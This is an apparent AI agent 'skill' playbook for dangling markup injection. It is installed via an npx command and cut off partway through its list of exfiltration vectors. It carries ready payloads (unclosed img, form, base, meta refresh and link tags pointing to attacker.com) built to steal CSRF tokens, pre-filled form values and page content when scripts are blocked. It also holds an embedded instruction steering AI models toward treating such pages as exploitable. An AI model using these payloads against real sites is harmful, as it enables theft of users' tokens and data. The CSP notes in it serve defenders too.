$npx -y skills add Prohao42/aimy-skill --skill dangling-markup-injectionDangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequ
| 1 | # SKILL: Dangling Markup Injection — Exfiltration Without JavaScript |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup) |
| 8 | - [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions |
| 9 | - [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks |
| 10 | - [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response |
| 11 | - [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## 1. WHEN TO USE DANGLING MARKUP |
| 16 | |
| 17 | You need dangling markup when ALL of these are true: |
| 18 | |
| 19 | 1. You have an HTML injection point (reflected or stored) |
| 20 | 2. JavaScript execution is blocked: |
| 21 | - CSP blocks inline scripts and event handlers |
| 22 | - Sanitizer strips `<script>`, `onerror`, `onload`, etc. |
| 23 | - WAF blocks known XSS patterns |
| 24 | 3. The page contains sensitive data AFTER your injection point: |
| 25 | - CSRF tokens |
| 26 | - Pre-filled form values (email, username, API keys) |
| 27 | - Session identifiers in hidden fields |
| 28 | - Sensitive user content |
| 29 | |
| 30 | **Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL. |
| 31 | |
| 32 | --- |
| 33 | |
| 34 | ## 2. CORE TECHNIQUE |
| 35 | |
| 36 | Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote. |
| 37 | |
| 38 | ```html |
| 39 | Page before injection: |
| 40 | <div>Hello USER_INPUT</div> |
| 41 | <form> |
| 42 | <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> |
| 43 | <input type="text" name="email" value="user@target.com"> |
| 44 | </form> |
| 45 | |
| 46 | Injected payload: |
| 47 | <img src="https://attacker.com/collect? |
| 48 | |
| 49 | Resulting HTML: |
| 50 | <div>Hello <img src="https://attacker.com/collect?</div> |
| 51 | <form> |
| 52 | <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> |
| 53 | <input type="text" name="email" value="user@target.com"> |
| 54 | </form> |
| 55 | ...rest of page until next matching quote (")... |
| 56 | ``` |
| 57 | |
| 58 | The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`. |
| 59 | |
| 60 | --- |
| 61 | |
| 62 | ## 3. EXFILTRATION VECTORS |
| 63 | |
| 64 | ### 3.1 Image Tag (Most Common) |
| 65 | |
| 66 | ```html |
| 67 | <!-- Double-quote context --> |
| 68 | <img src="https://attacker.com/collect? |
| 69 | |
| 70 | <!-- Single-quote context --> |
| 71 | <img src='https://attacker.com/collect? |
| 72 | |
| 73 | <!-- Backtick context (IE only, legacy) --> |
| 74 | <img src=`https://attacker.com/collect? |
| 75 | ``` |
| 76 | |
| 77 | The browser sends a GET request to `attacker.com` with all consumed content as query parameters. |
| 78 | |
| 79 | **Blocked by**: `img-src` CSP directive |
| 80 | |
| 81 | ### 3.2 Form Action Hijack |
| 82 | |
| 83 | ```html |
| 84 | <form action="https://attacker.com/collect"> |
| 85 | <button>Click to continue</button> |
| 86 | <!-- |
| 87 | ``` |
| 88 | |
| 89 | If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction. |
| 90 | |
| 91 | **Blocked by**: `form-action` CSP directive |
| 92 | |
| 93 | **Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically. |
| 94 | |
| 95 | ### 3.3 Base Tag Hijack |
| 96 | |
| 97 | ```html |
| 98 | <base href="https://attacker.com/"> |
| 99 | ``` |
| 100 | |
| 101 | All subsequent relative URLs on the page resolve to attacker's server: |
| 102 | - `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js` |
| 103 | - `<a href="/profile">` → links to `https://attacker.com/profile` |
| 104 | - `<form action="/submit">` → submits to `https://attacker.com/submit` |
| 105 | |
| 106 | **Blocked by**: `base-uri` CSP directive |
| 107 | |
| 108 | ### 3.4 Meta Refresh Redirect |
| 109 | |
| 110 | ```html |
| 111 | <meta http-equiv="refresh" content="0;url=https://attacker.com/collect? |
| 112 | ``` |
| 113 | |
| 114 | Redirects the entire page to attacker's server with consumed page content in the URL. |
| 115 | |
| 116 | **Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present. |
| 117 | |
| 118 | ### 3.5 Link/Stylesheet Exfiltration |
| 119 | |
| 120 | ```html |
| 121 | <link rel="stylesheet" href="https://attacker.com/collect? |
| 122 | ``` |
| 123 | |
| 124 | Browser requests the URL as a CSS resource, leaking consumed content. |
| 125 | |
| 126 | **B |